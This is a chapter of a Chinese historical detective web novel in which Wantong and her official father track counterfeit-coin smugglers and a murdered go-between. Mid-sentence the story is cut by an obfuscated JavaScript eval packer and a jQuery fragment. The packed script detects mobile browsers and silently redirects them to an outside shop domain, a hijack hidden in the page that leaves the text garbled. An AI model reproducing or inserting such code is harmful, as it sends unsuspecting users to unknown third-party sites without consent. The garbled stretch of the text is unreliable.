晚桐从桂花巷回到府上，正盘算如何往云中郡去，江明远便遣人来传话，说顺通货栈那边有了动静。
她提了裙裾便往外跑，见了赵捕头便问：“他们有几人？”
“三个。两个进了货栈，一个在巷口望风。进门的人里头，有一个裹着灰斗篷，右手一直揣在怀里，八成有家伙。”赵捕头语速极快，眼底全是血丝，“大人已带人将前后巷都堵死了。”
“我爹亲自去了？”
“是。大人说这回不能再让他们跑了。”
晚桐赶到时，货栈门口的青石板上溅了一片暗红，刺目的血迹比她料想的惨多了。
两个衙役架着一个瘦高个儿从门里出来，那人骂骂咧咧，一口北地口音，额头破了个口子，血流了半张脸。
不是那个接头的灰衣人。
江明远站在货栈门口，衣袍下摆溅了几点泥，眉头拧成一个疙瘩，见了晚桐，往旁边让了一步。
“抓到两个，又跑了一个。”
“跑的是哪个？”
“裹灰斗篷那个。手里有刀，捅伤了一个衙役，从后巷翻墙走的。”赵捕头垂头丧气地暗骂道：“那孙子绝不是头一回来岚城，下次别落在我手里。”
晚桐走进四面透风的货栈，里头堆满了木箱，有些已被撬开，稻草下头是一层一层码好的铜钱，崭新的铜光在昏暗中格外刺目。她蹲下取了一枚，对着旁边的火光细看，方孔内缘没有打磨痕迹，翻砂的砂眼密而浅，与布庄那批一模一样。
“爹爹，搜过身了吗？”
“搜了，干净得很。”
“齿间呢？”
江明远一愣，转身吩咐手下：“把他嘴掰开。”
瘦高个儿被按在地上，两个衙役费了好大劲才撬开他的嘴。晚桐蹲下看了看他的牙，目光扫过那一排被烟渍浸黄的牙齿，停在左边第三颗上。
“这颗是假的。”
江明远亲自上手，从那人的牙槽里撬出一个小纸卷，展开后是一行蝇头小字：冬月初六，西码头。
“还有三日。”江明远将纸卷收好，“赵捕头，西码头加派人手。”
晚桐从地上又捡起一枚钱，铜色泛赤，赤中夹灰，正是燕朔铜。她心头忽地一跳，“爹爹，那跑掉的灰衣人，阿檀说过，那灰衣人是个左撇子，在逃跑这么匆忙的时候，还将右手揣在怀里，定是是为了护住右手里更要紧东西。”
地上那瘦高个儿嘴角扬起一个古怪的笑，那笑意从嘴角裂开的血口子里渗出来，让人作呕。
“你们抓不到他的，他永远比你们快。”
他笑得嘴角裂开，血珠子渗出来，冻成大大的嘲讽。
“每回都快？代价又是什么！”晚桐蹲下来，死死盯着他的眼睛，“你们躲在破庙里，靠人通风报信，靠人替你们顶缸，靠人替你们丢掉性命。你所谓的永远快一步，是因为有人在替你们清路！那个人是谁！”
瘦高个儿的笑容僵在脸上，眼底闪过一丝慌乱，随即被更深的恐惧取代，几种表情冻在脸上，像戴了一个极为夸张的面具。
晚桐站起来，对赵捕头道：“赵叔，把他和之前抓的那个分开关。”
“分开关？为何？”
“天冷，牢里更冷，人在冷的时候容易想不开。”她声音低下去，“也最容易被人帮着想不开。”
赵捕头脸色一变，一阵后怕，立刻让人将瘦高个儿拖走关好。
人走后，江明远从牙缝里挤出来几个字，“岚城这衙门可不简单呐！”
晚桐知晓江明远心中定是有了盘算，便不再多言。父亲鬓边的白发，在货栈昏暗的光线里，白得刺眼。
江明远背着手，神色微凝，良久才道：“市舶司的刘主事，半年前调任的，原先是云州的户曹。”
又是云州。
上一任户曹章怀义，市舶司刘主事在云州接的是章怀义的职。他来了岚城，私铸铜钱就跟着来了，就连上回的行动他也有份参与。
这一捋，每个节点都对得上，像一把锁终于找到了钥匙，开了门，见到的却是一口棺材。
从云州流出来的银子，流到堤坝上只剩一半，另一半流进了私人的口袋。
父女俩对视一眼，没有再说什么。所有的猜测，所有的心照不宣，所有不能出口的愤怒，都沉在彼此眼底。
手臂上的疤忽然疼了一下，她按住那道疤，闭上眼。
画面出现了。
一个裹灰斗篷的人影从后巷翻墙而出，右手紧紧攥着什么东西。他落在墙根下，墙根有薄冰，滑了一下，迅速稳住身形，然后隐入黑暗。他没有往码头跑，他往城西跑了。城西，破庙。那个死了的货郎待过的破庙。
画面消失。
晚桐睁开眼，心头跳得又急又重，“爹爹，我再去趟城西破庙，可能会有发现！”
江明远点点头，差两个衙役跟着。
她转身时，江明远叫住她，想说“小心些”，却只挤出两个字，“快去罢。”
城西的破庙庙门早就没了，只剩一个空荡荡的门洞，在冬夜里格外阴森，夜风灌进去，把地上的枯叶吹得沙沙响。
一股血腥味从里头漫出来，浓得化不开，混着破庙里陈年的香灰味，让人极度不适。
又死了一个！
晚桐退后一步，对跟来的说：“去喊赵捕头，不要声张。”
衙役跑远后，晚桐提着灯笼走进破庙。
灯笼的光在寒气里微弱得可怜，只照着脚下巴掌大的一块地。光晕之外全是黑暗，像有什么东西蹲在那里等着她。
那灰衣人仰面躺着，喉咙被割开，血从颈侧淌到地上。
死了不到一刻钟。
不到一刻钟。
距离晚桐追上他，只差了一刻钟。
他的右手紧握成拳，晚桐掰开他的手，手心里攥着一张字条，被汗浸得半湿，又被冷风吹得半干，字迹模糊，只剩最后一行勉强可辨。
……
秋分前三日必到。误了时辰，后果自负。
赵捕头赶到时，晚桐正蹲在供台旁边，灯笼搁在脚边，光只够照亮她半边脸。
“是他。后集市那个货郎的接头人。”一连几次的差一点重重的打击着每个人，晚桐稳稳心神，继续说道：“他手里的字条被人换了，凶手杀了他之后，拿走了原来的字条，塞了一张没用的给我们。”
“小姐如何知道？”
“这张字条不像是今日写的，赵叔你仔细想想，若是他自己一直拿着跑到这里，字早就花了。”她将字条举到灯笼前，光透过纸背，照出层层褶皱，字却是工工整整。
“是有人提前写好了这张字条，塞进他手里，断了我们的线索。”
赵捕头脸色铁青，又一次觉得后背发凉。
晚桐直起身，浑然不知身上沾了血，“老七不是接头人，老七是来灭口的。”
话音落下，破庙里的风突然停了，仿佛整个岚城都屏住了呼吸。
不是燕朔的人！是自己人！
那些在青石沟灭口军需官的人，在澜江贪墨修堤银的人，在边关克扣军饷的人，全是自己人，是说着同一种语言，写同一种文字，生活在同一片土地上的……自己人。
晚桐忽然明白了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628153|203756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开花奶奶为何不告诉她，不，不是不告诉，是不敢告诉。她也明白了开花奶奶为何要涂掉那个名字，因为什么都不知道才安全。
知道的太多，会死。
开花奶奶到最后都在保护那个还未长成的晚桐，让她平安活着。
眼泪涌上来，被她死死咬在眼眶里。
她不能哭，哭了就看不清楚了。
奶奶踩过的石头结了霜，她踩在上头，一步都不能踩空。
晚桐随江明远回到府中，阿檀关好房门。
屋子里烧着炭，暖意融融，可依旧烤不暖她心底的寒意。
江明远思考了许久，桌上的茶也换了几道，“我们手里现有的人证物证，最多只能追到老七这条线。再往上，没有人证，没有物证。”
一个查案查了十几年的老刑名，眼看着真相就在触手可及的地方，却够不着，“所有知道内情的人，要么死了，要么消失了，这雪落进江里，一点痕迹都不留。”
“不，还有一个人知道。”晚桐接道，“一个一直躲在暗处，每回都比我们快一步的人。”
“老七。”
“嗯，老七杀灰衣人，是因为他知道灰衣人被我们盯上了。他每回都比我们快一步，是因为他每回都提前得了消息。他知道我们所有的部署，何时蹲守、在何处蹲守、派了多少人。”
“也许老七不只有一个主子。”说完这句话后，江明远重重的靠在椅背上，久久不语。
远处传来更夫的梆子声，三更了，声音在寒风里打着颤。
“不查了。”江明远忽然开口，声音沙哑，“查得越多，老七越知道我们的底。”
晚桐点点头，她明白父亲的意思，“接下来我们换个法子，等他自己出来。”
老七既替燕朔做事，也替朝中某人做事。
到底是哪个人？
哪个人能从澜江堤坝的贪墨银子里分一杯羹，又能从燕朔的私铜钱里拿到好处？这个人坐在朝堂上，穿着官服，喝着茶，谈着忠君报国，袖子里藏着带血的银子。
不管多久，要等那个在暗处的人自己走到明处来。
冬月初六，西码头。
天还没亮，江面被一层薄雾笼罩，浮着的碎冰泛着青灰色的光。大家伙儿一直等到日头偏西，码头上除了几个搬货的苦力和卖鱼的老妇，没有一个生人进过码头。
老七没有来。
冬月初六的约定，像一片落在江面上的雪，还没来得及看清便化掉了。
“消息走漏了。”晚桐坐在江明远对面抬起头，眼神里透出一丝清明，“泄密的人果然是他！”
“晚桐，停吧，我们……不是对手……”
晚桐对上江明远疲惫的眼神，停下罢。
可停下来意味着线索就此断掉，意味着那些人继续逍遥法外，所有死在这条路上的人的命，都白丢了。
她闭上眼睛，看到开花奶奶坐在槐树下，手里摇着蒲扇，笑着对她说，桐妞妞，有些事急不得，急了就输了。
“爹爹，我不信这条路走到这里就断了！”她猛地睁开眼睛，眼中燃起一团明亮的光，“开花奶奶没走完的路，我替她走。”
远处岚城的街巷已沉入夜色，只有零星几点灯火在寒风里摇晃，虽然微弱，但星火仍在。
“开花奶奶教过我，有些事要等。”她望着那几点灯火，像是在对那个已经不在的人说，“秋分已过，燕朔那边还在等货，总有人比我急。”
等。
等最合适的时机出鞘。
因为这条路，她已经走了这么远。
回不了头了。